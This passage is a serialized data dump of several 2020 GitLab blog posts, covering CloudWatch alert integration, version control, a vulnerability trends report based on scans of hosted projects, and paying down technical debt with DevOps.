Integration","en-us/blog/checkmarx-integration.yml","en-us/blog/checkmarx-integration",{"_path":21355,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21356,"content":21361,"config":21367,"_id":21369,"_type":16,"title":21370,"_source":17,"_file":21371,"_stem":21372,"_extension":20},"/en-us/blog/incident-management-with-aws-cloudwatch",{"title":21357,"description":21358,"ogTitle":21357,"ogDescription":21358,"noIndex":6,"ogImage":12831,"ogUrl":21359,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21359,"schema":21360},"How to use GitLab's Incident Management with AWS CloudWatch","It's a straightforward process to set up GitLab Incident Management to work with AWS CloudWatch alarms. Here's what you need to know to get started.","https://about.gitlab.com/blog/incident-management-with-aws-cloudwatch","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use GitLab's Incident Management with AWS CloudWatch\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sean Arnold\"}],\n        \"datePublished\": \"2020-10-08\",\n      }",{"title":21357,"description":21358,"authors":21362,"heroImage":12831,"date":21364,"body":21365,"category":734,"tags":21366},[21363],"Sean Arnold","2020-10-08","\n\nAWS CloudWatch is a popular tool for users of Amazon Web Services to monitor and set alarms on their resources, including EC2 instances, RDS databases and many more.\n\nWhen alarms fire, it is important that your toolchain can quickly and effectively notify you and collate the relevant data. This enables your team to start determining the root cause and take action toward remediation.\n\nGitLab Incident Management now makes it easier than ever to do this. GitLab can take AWS CloudWatch alerts (aka [alarms](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html)), or alerts from any other monitoring and alerting tool you have, and seamlessly integrate them into your [DevOps lifecycle](/topics/devops/).\n\n\n\n## Getting your alerts from AWS CloudWatch to GitLab\n\nNote: For this post, we will assume you are familiar with setting up CloudWatch metrics and alarms within AWS. For more information on AWS Cloudwatch consult the [AWS documentation](https://aws.amazon.com/cloudwatch/).\n\n### Enable the endpoint\n\nWith our generic alert endpoint, GitLab can ingest alerts via REST from any alerting service you have. An alert can be as simple as providing a title or as complex as you need. We provide some defined attributes that you can use to refine your GitLab Incident Management experience, such as the severity of the alert, the service that is alerting, and `gitlab_environment_name` so that you can get an [insight into your alerts for an associated environment and deployment](https://docs.gitlab.com/ee/ci/environments/#environment-incident-management) for users on our Gold and Ultimate plans.\n\nThe first step is to enable your project's alert endpoint. Follow the instructions in the [docs](https://docs.gitlab.com/ee/operations/incident_management/integrations.html#setting-up-generic-alerts) to do this.\n\nNext, we need to ensure the data sent to GitLab is in the expected payload format.\n\n### Transform the payload\n\nOne approach to send CloudWatch alarm data to GitLab is to use AWS Lambda to call the GitLab REST endpoint. We can set this up by publishing the CloudWatch alarm to an [SNS](https://aws.amazon.com/sns/) endpoint, which is then consumed by AWS Lambda to mutate and forward the alert payload to GitLab.\n\n![AWS CloudWatch to GitLab Incident Management](https://about.gitlab.com/images/blogimages/cloudwatch-incident-management-flow.png)\n\nIf you want to get this up and running quickly, I’ve [provided an AWS SAM (Serverless Application Model) application](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/cloudwatch-sns-to-gitlab-alerts) which can setup the Lambda application with the environment variables ready for you to enter your GitLab endpoint URL in.\n\nWe know that managing the integration between two tools can be painful. In the future, we want to make this step as easy as possible: the step of transforming your payload into GitLab Alert format will soon be replaced by [custom endpoints for alerts](https://gitlab.com/groups/gitlab-org/-/epics/4390).\n\nNext, you can [setup your SNS Notification Topic](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/US_SetupSNS.html), and subscribe to the [SNS Topic with your Lambda function](https://docs.aws.amazon.com/sns/latest/dg/sns-lambda-as-subscriber.html).\n\n### Receive your alerts\n\nWhen your CloudWatch alarm next triggers, Lambda should then fire the alert off to GitLab. You should then see your alert in the [Alert list](https://docs.gitlab.com/ee/operations/incident_management/alerts.html).\n\n![AWS CloudWatch to GitLab Incident Management alert list](https://about.gitlab.com/images/blogimages/cloudwatch-gitlab-incident-management-list.png)\n\nYou can click on an alert to [see more details](https://docs.gitlab.com/ee/operations/incident_management/alerts.html), assign an alert to a user and change the status of the alert. If the alert is significant enough to raise an incident, you can do that by clicking the “Create Incident.”\n\nCreating an incident will give you the power to assign team members to it and collaborate on it just like you would a regular GitLab issue. The incident will have the payload of the alert included in the [Alert Details tab](https://docs.gitlab.com/ee/operations/incident_management/incidents.html#alert-details).\n",[4103,232,6962],{"slug":21368,"featured":6,"template":678},"incident-management-with-aws-cloudwatch","content:en-us:blog:incident-management-with-aws-cloudwatch.yml","Incident Management With Aws Cloudwatch","en-us/blog/incident-management-with-aws-cloudwatch.yml","en-us/blog/incident-management-with-aws-cloudwatch",{"_path":21374,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21375,"content":21381,"config":21387,"_id":21389,"_type":16,"title":21390,"_source":17,"_file":21391,"_stem":21392,"_extension":20},"/en-us/blog/vcc-with-a-single-app",{"title":21376,"description":21377,"ogTitle":21376,"ogDescription":21377,"noIndex":6,"ogImage":21378,"ogUrl":21379,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21379,"schema":21380},"End-to-end DevOps with version control & collaboration","Version Control & Collaboration is centered at the core of your end-to-end DevOps single application needs","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681652/Blog/Hero%20Images/markus-spiske-MkwAXj8LV8c-unsplash.png","https://about.gitlab.com/blog/vcc-with-a-single-app","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A single application for your end-to-end DevOps needs starts with Version Control & Collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tye Davis\"}],\n        \"datePublished\": \"2020-10-07\",\n      }",{"title":21382,"description":21377,"authors":21383,"heroImage":21378,"date":21384,"body":21385,"category":18484,"tags":21386},"A single application for your end-to-end DevOps needs starts with Version Control & Collaboration",[18386],"2020-10-07","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n[Source code](/solutions/source-code-management/) acts as a single source of truth and a collection of a product’s knowledge, history, and solutions. [Version control](/topics/version-control/) serves as a safety net to protect the source code from irreparable harm, giving the development team the freedom to experiment without fear of causing damage or creating code conflicts. If developers code concurrently and create incompatible changes, version control identifies the problem areas so that team members can quickly revert changes to a previous version, compare changes, or identify who committed the problem code through the revision history. \n\nWith [version control systems](/topics/version-control/), a software team can solve an issue before progressing further into a project. Through code reviews, software teams can analyze earlier versions to understand how a solution evolved. With source code as a starting point to GitLab being a single source of truth, the capabilities expand beyond version control systems that does everything from project planning and source code management, to CI/CD, monitoring, and security.\n\nGitLab enables portfolio planning and management through epics, groups (programs) iterations and milestones to organize and track progress. Regardless of your methodology from Waterfall to DevOps, GitLab’s simple and flexible approach to planning meets the needs of small teams to large enterprises. GitLab helps teams organize, plan, align and track project work to ensure teams are working on the right things at the right time and maintain end to end visibility and traceability of issues throughout the delivery lifecycle from idea to production.\n\nGitLab helps teams design, develop and securely manage code and project data from a single distributed version control system to enable rapid iteration and delivery of business value. GitLab repositories provide a scalable, single source of truth for collaborating on projects and code which enables teams to be productive without disrupting their workflows.\n\nGitLab helps delivery teams fully embrace continuous integration to automate the builds, integration and verification of their code. GitLab’s industry leading CI capabilities enables automated testing, Static Analysis Security Testing, Dynamic Analysis Security testing and code quality analysis to provide fast feedback to developers and testers about the quality of their code. With pipelines that enable concurrent testing and parallel execution, teams quickly get insight about every commit, allowing them to deliver higher quality code faster.\n\nGitLab enables teams to package their applications and dependencies, manage containers, and build artifacts with ease. The private, secure container registry and artifact repositories are built-in and preconfigured out-of-the box to work seamlessly with GitLab source code management and CI/CD pipelines. Ensure [DevOps acceleration with automated software](/topics/devops/) pipelines that flow freely without interruption\n\nGitLab allows for security practices to be enabled at the creation phases of the project, increasing resilience to external attacks, internal threats and ability to resume activity promptly. GitLab incorporates several security capabilities to make development more secure even before build happens. They can detect secrets and license compliance issues, find vulnerabilities in source code or in its dependencies before merging, find vulnerabilities in running apps before merging, as well as containers. These capabilities can even reproduce what thousand of users input in seconds to detect faults and other issues with Fuzz testing. \n\nWith zero-touch Continuous Delivery (CD) built right into the pipeline, deployments can be automated to multiple environments like staging and production, and the system just knows what to do without being told - even for more advanced patterns like canary deployments. With feature flags, built-in auditing/traceability, on-demand environments, and GitLab pages for static content delivery, you'll be able to deliver faster and with more confidence than ever before.\n\nGitLab helps teams to configure and manage their application environments. Strong integration to Kubernetes reduces the effort needed to define and configure the infrastructure required to support your application. Protect access to key infrastructure configuration details such as passwords and login information by using ‘secret variables’ to limit access to only authorized users and processes. GitLab looks to provide feedback that decreases the frequency and severity of incidents and improves operational and product performance.\n\nSource code management is more than simply tracking changes, versions, and branches of code.  The ability to connect every phase of the Software Development Lifecycle in one [single DevOps platform](/solutions/devops-platform/) via one data layer, one design system, one set of commands to manage all the different stages of software design, development, build and deployment gives an organization a resource like no other. \n\nWatch this short video (3 minutes) to learn how [VC&C Single App](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) on GitLab.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/SAfpdJ7jpHQ\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nCover image by [Markus Spiske](https://unsplash.com/@markusspiske) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n",[110,674,1899],{"slug":21388,"featured":6,"template":678},"vcc-with-a-single-app","content:en-us:blog:vcc-with-a-single-app.yml","Vcc With A Single App","en-us/blog/vcc-with-a-single-app.yml","en-us/blog/vcc-with-a-single-app",{"_path":21394,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21395,"content":21401,"config":21406,"_id":21408,"_type":16,"title":21409,"_source":17,"_file":21410,"_stem":21411,"_extension":20},"/en-us/blog/gitlab-latest-security-trends",{"title":21396,"description":21397,"ogTitle":21396,"ogDescription":21397,"noIndex":6,"ogImage":21398,"ogUrl":21399,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21399,"schema":21400},"GitLab's security trends report – our latest look at what's most vulnerable","From triage to containers and secrets storage, we took a look at the most vulnerable areas across thousands of hosted projects on GitLab.com. Here's what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678152/Blog/Hero%20Images/data.jpg","https://about.gitlab.com/blog/gitlab-latest-security-trends","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's security trends report – our latest look at what's most vulnerable\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-10-06\",\n      }",{"title":21396,"description":21397,"authors":21402,"heroImage":21398,"date":21403,"body":21404,"category":674,"tags":21405},[16519],"2020-10-06","\n\nIn this second GitLab security trends report, we analyzed security vulnerability trends across thousands of projects hosted on GitLab.com.  Doing the analysis allowed us to identify trends and patterns that security practitioners can use to benchmark against their organizations.\n\n## Recommendations for security practitioners\n\n### Recommendations\n\n| Category | Recommendation |\n| --- | --- |\n| Security issue triage | Regularly review and prioritize security issues that were identified (such as in the [Gitlab Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/)) |\n| Apply security fixes for containers | Automatically scan, rebuild, test and deploy containers using [CI/CD pipelines](/topics/ci-cd/) so that they always have the latest patches. |\n| Apply security fixes for project dependencies | Scan project dependencies during builds and periodically for the use of libraries with known vulnerabilities, and update the dependencies accordingly. |\n| Static analysis | Implement static security scanning while tuning for false positives so that developers can focus on what is truly important. Pay attention in particular to scanning automated tests with a different configuration than production code in order to reduce wasted time on false-positives. |\n| Secret storage | Ensure that developers store secrets such as private keys, passwords, and API keys in a secret vault rather than in the codebase itself. This is a typical security anti-pattern. During builds, use scanners that can detect secrets that were accidentally stored in the codebase. |\n| Dynamic analysis | Implement dynamic analysis, and periodically confirm it can both authenticate the applications being scanned and fully spider them. This is a common challenge and when misconfigured causes the scanners to test only a small portion of the application.  |\n| Web application security | Evaulate applications for common attack vectors such as reverse tabnabbing and `x-frame-options` that are not implemented. | \n| Fuzz testing | Track the latest techniques used by bad actors to find vulnerabilities and use those same tactics to find issues, preferably before they discover them. |\n\n## Trends by CWE \n\nFor this section of the analysis, all detected vulnerabilities across all scanners were mapped against their primary [CWE: Common Weakness Enumeration](https://cwe.mitre.org/about/index.html). The pertinent [CVEs (Common Vulnerabilities and Exposures)](https://cve.mitre.org/) are included with each vulnerable library or component.\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3797747\" data-url=\"https://flo.uri.sh/visualisation/3797747/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top three CWEs in August were:\n\n###  CWE-20: [Improper input validation](https://cwe.mitre.org/data/definitions/20.html)\n\nImproper input validation allows for potential injection attacks (SQL, code, etc). The top findings were from the [container scanner](https://docs.gitlab.com/ee/user/application_security/container_scanning/) which found issues with out of date software, most notably for:\n* [glibc](https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-767/GNU-Glibc.html) - CVE-2016-10228 and CVE-2018-19591\n* [apt](https://www.debian.org/doc/manuals/debian-reference/ch02.en.html) - [CVE-2020-3810](https://nvd.nist.gov/vuln/detail/CVE-2020-3810)\n\nThe dependency scanner also found issues for libraries in use including:\n* [ajv](https://ajv.js.org/)\n* [sockjs](https://github.com/sockjs/sockjs-client)\n* [minimist](https://www.npmjs.com/package/minimist)\n* [yargs-parser](https://www.npmjs.com/package/yargs-parser)\n\n### CWE-787: [Out of bounds write of intended buffer](https://cwe.mitre.org/data/definitions/787.html)\n\nThis allows for potential remote code execution. The top findings were from the container scanner which found the below software to be out of date and vulnerable:\n* [glibc](https://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-767/GNU-Glibc.html) - CVE-2020-1751, CVE-2018-11237\n* [openexr](https://github.com/AcademySoftwareFoundation/openexr) - [CVE-2020-15306](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15306)\n* [ghostscript](https://ghostscript.com/) - CVE-2020-16287, CVE-2020-16292, CVE-2020-16291, and 8 others\n\nThe dependency scanner also found issues for dependant libraries in use, with the top one being [execa](https://www.npmjs.com/package/execa).\n\n### CWE-400: [Uncontrolled resource consumption](https://cwe.mitre.org/data/definitions/400.html)\n\nUncontrolled resource consumption allows for potential denial of service attacks against specific software. The top findings were from the dependency scanner for the [Mixin-deep](https://www.npmjs.com/package/mixin-deep) library.\n\nThe container scanner also found issues with:\n* [mysql-5.7](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=mysql) - CVE-2020-14547, CVE-2020-14540, CVE-2020-14576, and 4 others\n* [nghttp2](https://kb.cert.org/vuls/id/605641/) - CVE-2019-9513 and CVE-2019-9511\n\n## Dependency scanner trends\n\n![Dependency by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/dependency_by_month.png \"Dependency scanner trends\")\n\nThe percentage of projects finding issues with dependent libraries in use has significantly increased over the last year, from 26% to 69%.  This reinforces that updating dependent libraries should be prioritized based on the risks those libraries pose.  GitLab [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) can be used to scan project dependencies for vulnerabilities.\n\n### By Library\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3819520\" data-url=\"https://flo.uri.sh/visualisation/3819520/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nAs new vulnerabilities are discovered in libraries, and projects using them have their dependencies scanned, the libraries rise in prevalence.  As the dependencies are updated later, they drop in prevalence. However, not all teams reliably prioritize and resolve issues, so many vulnerable dependent libraries continue to be in use for a long period of time.\n\nThe top libraries in use with vulnerabilities in August were:\n\n| Library | Top vulnerability | \n| ---- | --- |\n| [Lodash](https://www.npmjs.com/package/lodash) | Object prototype pollution |\n| [Execa](https://www.npmjs.com/package/execa) | OS command injection |\n| [Mixin-deep](https://www.npmjs.com/package/mixin-deep) | Prototype pollution |\n| [Kind-of](https://www.npmjs.com/package/kind-of) | Type checking |\n| [Sockjs](https://www.npmjs.com/package/sockjs) | Cross-site scripting | \n| [Ajv](https://www.npmjs.com/package/ajv) | Improper input validation |\n| [Minimist](https://www.npmjs.com/package/minimist) | Improper input validation |\n| [Yargs-parser](https://www.npmjs.com/package/yargs-parser) | Improper input validation |\n| [JQuery](https://www.npmjs.com/package/jquery) | 3rd party CORS request may execute |\n| [Dot-prop](https://www.npmjs.com/package/dot-prop) | Direct request forced browsing |\n\n## Container scanner trends\n\n![Container by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/container_by_month.png \"Container scanner trends\")\n\nThe percentage of projects finding issues with containers has decreased over the last year, from 52% to 41%. While we have seen a small decrease, it is still relatively high. Keeping container registries up-to-date and rebuilding/redeploying the containers that use them continues to be essential to reduce security risk. GitLab [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning) can be used to scan Docker images for known vulnerabilities.\n\n### By Component\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3828843\" data-url=\"https://flo.uri.sh/visualisation/3828843/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nSimilarly to the trends in dependent libraries, as new vulnerabilities are discovered in containers, and the containers are scanned, the vulnerabilities rise in prevalence. As the containers are updated, the vulnerabilities drop; however many are not updated, leaving the vulnerabilities in place and potentially exploitable in the long-term.\n\n### By Discovery Year\n\n![Container by year](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/container_by_year.png \"Container by year\")\n\nWhile many projects update containers, a significant number of projects use containers with vulnerabilities that were discovered many years prior. Being diligent in identifying and updating all containers in use is essential to maintain the appropriate level of security vigilance.\n\n## Static analysis trends\n\n![SAST by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/sast_by_month.png \"SAST scanner trends\")\n\nThe percentage of projects finding vulnerabilities via static scanning over the last year has remained mostly unchanged (from 49% to 52%). This shows that static scanning continues to be quite effective in identifying security vulnerabilities. GitLab can be used for [static application security testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) and [secret detection](https://docs.gitlab.com/ee/user/application_security/sast/#secret-detection).\n\nMany SAST checks can have a false positive rate, especially when scanning code for automated tests (which, for example, may contain non-production secrets). It is crucial to tune the SAST scanners to reduce false positives, allowing the developers to focus on other issues that have a higher likelihood of being a real problem.\n\n### Non-secret related vulnerabilities\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829510\" data-url=\"https://flo.uri.sh/visualisation/3829510/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top vulnerabilities in this category were:\n* Password in URL - Passwords are sent in the URL, allowing the password to be more easily stored in the local browser cache and in any proxy servers between the web browser and web server. Passwords should be sent via secure methods such as the `POST` method (vs. using `GET`, which puts the password in the URL.)\n* Insecure usage of temporary file or directory - a temporary file does not have proper permissions, allowing data to be exposed and possibly allowing for remote code execution. \n* Predictable pseudorandom number generator (PRNG) - if a predictable seed is used for encryption, it makes it much easier for the encryption to be defeated. A [cryptographically secure PRNG](https://en.wikipedia.org/wiki/Cryptographically_secure_pseudorandom_number_generator) should be used instead.\n* Cipher with no integrity - code does not validate that when decrypting data, the data has not been altered. A solution for this is to add an encrypted hash to the message.\n* No file extension found in an include - allows for potential remote code execution.\n\n### Secret handling vulnerabilities\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829570\" data-url=\"https://flo.uri.sh/visualisation/3829570/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top types of secrets/keys identified were:\n* [PKCS](https://en.wikipedia.org/wiki/Cipher) - Public Key Cryptography Standard\n* [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) Key\n* AWS API\n\nFor security reasons, secrets (such as keys, passwords, etc) should never be stored in the codebase. However, it is very convenient for developers to do this making it a common security anti-pattern. Secrets should be stored in a storage mechanism designed for security, such as [vault](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/).\n\n## DAST \n\n![DAST by month](https://about.gitlab.com/images/blogimages/2020-10-06-GitLab-Latest-Security-Trends/dast_by_month.png \"DAST scanner trends\")\n\nThe percentage of projects finding vulnerabilities via dynamic scanning over the last year went from 7% to a high of 20% and then back down to 9%. After initial scanning and issue resolution, dynamic scanning tends to primarily only find low priority vulnerabilities unless the scanners are configured to authenticate the web applications and successfully spider the entire application. Security practitioners must periodically confirm the results as the configuration tends to stop working over time.\n\nGitLab can be configured to do [dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/).\n\n### By vulnerability\n\n\u003Cdiv class=\"flourish-embed flourish-bar-chart-race\" data-src=\"visualisation/3829616\" data-url=\"https://flo.uri.sh/visualisation/3829616/embed\" aria-label=\"\">\u003Cscript src=\"https://public.flourish.studio/resources/embed.js\">\u003C/script>\u003C/div>\n\nThe top vulnerabilities in this category were:\n* [X-frame-options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) header not set - allows a web application to be embedded inside another (malicious) web application.\n* [Reverse tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing) - allows a page linked from the target page to be able to rewrite the page (such as to replace it with a phishing site)\n* Vulnerable JavaScript Library - see the dependent library section above.\n* [Cross-domain misconfiguration](https://www.zaproxy.org/docs/alerts/10098/) - web browser data loading may be possible, due to a Cross Origin Resource Sharing (CORS) misconfiguration on the webserver\n* PII (personally identifiable information) disclosure - security scanners have difficulty accurately determining if data is truly PII. The PII rules should be tuned per organization.\n* [CSP (content site protection) wildcard directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) - There is a lack of proper content site protection, potentially allowing for cross-site scripting and other similar attacks.\n* Application error disclosure - when attacker-accessible applications expose error messages, they give the attacker significant clues on how to attack the application. Allow these errors to be shown only in non-production environments.\n\n## Fuzzing\n\nFuzzing is a new feature [recently released by GitLab](/releases/2020/08/22/gitlab-13-3-released/). Fuzz testing can be configured in the [GitLab UI](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/).\n\nThe top vulnerabilities detected in this new feature include:\n* Heap-buffer-overflow on read\n* Index-out-of-bounds\n\n## Data sources\n\nThe trends report's underlying data is sourced from projects hosted on GitLab.com and does not include data from our self-managed customers. It is comprised of medium or higher severity vulnerabilities appearing in five or more projects that occurred between September 2019 and October 2020. All project-specific data was anonymized.\n\nRead more about security:\n\n* Container security [best practices](/blog/container-security-in-gitlab/)\n* A look at [Arctic Engine fuzz testing](/blog/arctic-engine-fuzz-testing-blog/)\n* How to [secure your cloud native apps](/blog/how-gitlab-can-help-you-secure-your-cloud-native-applications/)\n\nThanks to [David DeSanto](https://gitlab.com/david), [Todd Stadelhofer](https://gitlab.com/tstadelhofer), [Nicole Schwartz](https://gitlab.com/NicoleSchwartz), [Nico Meisenzahl](https://twitter.com/nmeisenzahl), and [Sean Wright](https://twitter.com/SeanWrightSec) for the feedback on the blog content. \n\n[Pietro Jeng](https://unsplash.com/@pietrozj) on [Unsplash](https://unsplash.com)\n{: .note}\n",[674,2952],{"slug":21407,"featured":6,"template":678},"gitlab-latest-security-trends","content:en-us:blog:gitlab-latest-security-trends.yml","Gitlab Latest Security Trends","en-us/blog/gitlab-latest-security-trends.yml","en-us/blog/gitlab-latest-security-trends",{"_path":21413,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21414,"content":21420,"config":21425,"_id":21427,"_type":16,"title":21428,"_source":17,"_file":21429,"_stem":21430,"_extension":20},"/en-us/blog/tech-debt",{"title":21415,"description":21416,"ogTitle":21415,"ogDescription":21416,"noIndex":6,"ogImage":21417,"ogUrl":21418,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21418,"schema":21419},"How to use DevOps to pay off your technical debt","Technical debt is a universal problem with an equally universal solution – DevOps. Here's how DevOps can reduce the tech debt burden and help you deploy faster and more frequently.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681643/Blog/Hero%20Images/greenery.jpg","https://about.gitlab.com/blog/tech-debt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use DevOps to pay off your technical debt\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-10-05\",\n      }",{"title":21415,"description":21416,"authors":21421,"heroImage":21417,"date":21422,"body":21423,"category":8943,"tags":21424},[17272],"2020-10-05","\n\nOne of the primary resource constraints in the [DevOps](/topics/devops/) world is technical debt. Technical debt is a metaphor created by Ward Cunningham that compares the build-up of cruft (deficiencies in the internal quality of software systems) to the accumulation of financial debt, where the effort it takes to add new features is the interest paid on the debt, writes [Martin Fowler](https://martinfowler.com/bliki/TechnicalDebt.html).\n\nIt’s common for a busy developer to write code with known imperfections, but because the priority is to ship new features as quickly as possible, deliverables are often prioritized over correcting the inefficiencies in the process.\n\nOne of the major dilemmas with determining the value of spending precious time fixing cruft versus building new features is that the costs are not objectively measurable, says Fowler. Just like with paying off financial debt, the right call is largely circumstantial as opposed to absolute.\n\n\"Given this, usually the best route is to do what we usually do with financial debts, pay the principal off gradually,\" writes Fowler.\n\nBy cleaning up some of the cruft as you work on the new features, you ensure that the most relevant code is tidier for future iterations. When it comes to crufty, but stable, code, you can leave it alone. This method is similar to paying the monthly balance on a low interest rate loan – the impact is minimal.\n\n \"In contrast, areas of high activity need a zero-tolerance attitude to cruft, because the interest payments are cripplingly high,\" writes Fowler.\n\nOne way to start dealing with technical debt is to conduct a rough audit and triage your technical debt by \"interest rate\" – high interest rate cruft is addressed with the same priority as shipping new features, while medium-to-low interest rate cruft can be dealt with in a ratio that best suits your team’s situation, because dealing with your most urgent technical debt sooner rather than later will help you save resources in the long-term.\n\n## How tech debt accumulates in your workflow\n\nIt’s not just code that contains cruft. A lot of the time, we have cruft that slows down our engineering processes. When it comes to investing time and money into updating DevOps processes, it seems there is never enough of either resource.\n\n\"We don’t let our teams spend time on improving their process because we think it’s wasted effort,\" says [Brendan O’Leary](/company/team/#brendan), senior developer evangelist at GitLab. \"But if you can spend a day fixing some things that make your workflow inefficient, and you save an hour a week from now until eternity, that’s a big difference.\"\n\nTake for instance manual deployment versus the use of automated pipelines. We know that deploying manually takes an enormous amount of time, but the upfront cost of allocating time to building automated pipelines can seem daunting.\n\nIf your team is trapped in a time-consuming cycle of technical debt, take a peek at how Minnesota-based consulting firm, [BI Worldwide](/customers/bi-worldwide/) (BIW), was able to accelerate deployments by transitioning to GitLab. In the case study, the BIW Corporate Products Development Team explains how they were stuck in a rut of manual testing and manual deployments on their on-prem infrastructure. Their toolchains were complex and inefficient, which created a dense backlog.\n\n\"It was entirely time-consuming to apply all of those code changes,\" said Adam Dehnel, product architect, BIW, in the case study. As a result, deployments were infrequent and slow as too many features were crammed into each release.\n\nThe first step to increase the speed of their deployments was to update and modernize their processes.\n\n\"[BIW] had practices and tools in place at the time but were spending time on items that weren’t business differentiating features. They faced classic issues surrounding a lack of cross-team communication including inefficient mechanisms for intra-organization workflows and individualized toolsets.\"\n\nFirst, BIW made the painful transition from CVS to Git. Next, the company aimed to automate the build, test, and deployment process and built a toolchain with tools such as GitHub, Jenkins, JIRA, and Confluence.\n\nFor BIW, this complex toolchain was buggy. One thing that was not mentioned in this specific use case, but still merits recognition, is the hidden cost of maintaining all of these different tools.\n\n\"The argument to be made there is not only is it cost of using these various tools, but also that the more tools you have, there is the overhead cost of upgrading them, maintaining them, and integrating them,\" says Brendan. \"There’s a massive hidden cost behind the cost of doing business.\"\n\nIn the next iteration, BIW embraced the efficiency of an all-in-one tool by transitioning to GitLab.\n\nBIW went from a pre-Git pace of shipping a release every nine to 12 months to deploying nearly ten times a day using GitLab Ultimate, no doubt putting a serious dent in the technical debt that followed their slower, laborious release cycle.\n\n## Conserve valuable resources and pay off technical debt with DevOps\n\nIn a previous blog post, we examined [communication strategies to get non-technical stakeholders to buy-in to DevOps](/blog/devops-stakeholder-buyin/). DevOps can help you deploy faster and more frequently, giving your business an edge over the competition, but it is also a strategy for paying off your technical debt. By first taking into account inefficiencies in your code and engineering processes, you can make a rough triage of your team's technical debt. This type of audit is the first step to identifying cruft you can trim to help speed up your cycle time, clear your backlog, and modernize your engineering processes.\n\n## Read more\n\n- [Need DevOps buy-in? Here's how to convince stakeholders](/blog/devops-stakeholder-buyin/)\n- [A guide to cloud native storage for beginners](/blog/cloud-native-storage-beginners/)\n- [Want to iterate faster? Choose boring solutions](/blog/boring-solutions-faster-iteration/)\n\nCover Photo by [Vadim L](https://unsplash.com/@sk3tch?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/plants?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[676,1899,4103,110],{"slug":21426,"featured":6,"template":678},"tech-debt","content:en-us:blog:tech-debt.yml","Tech Debt","en-us/blog/tech-debt.yml","en-us/blog/tech-debt",{"_path":21432,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21433,"content":21438,"config":21443,"_id":21445,"_type":16,"title":21446,"_source":17,"_file":21447,"_stem":21448,"_extension":20},"/en-us/blog/distributed-version-control",{"title":21434,"description":21435,"ogTitle":21434,"ogDescription":21435,"noIndex":6,"ogImage":14401,"ogUrl":21436,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21436,"schema":21437},"Distributed Version Control & Collaboration","Developers can collaborate and work together in 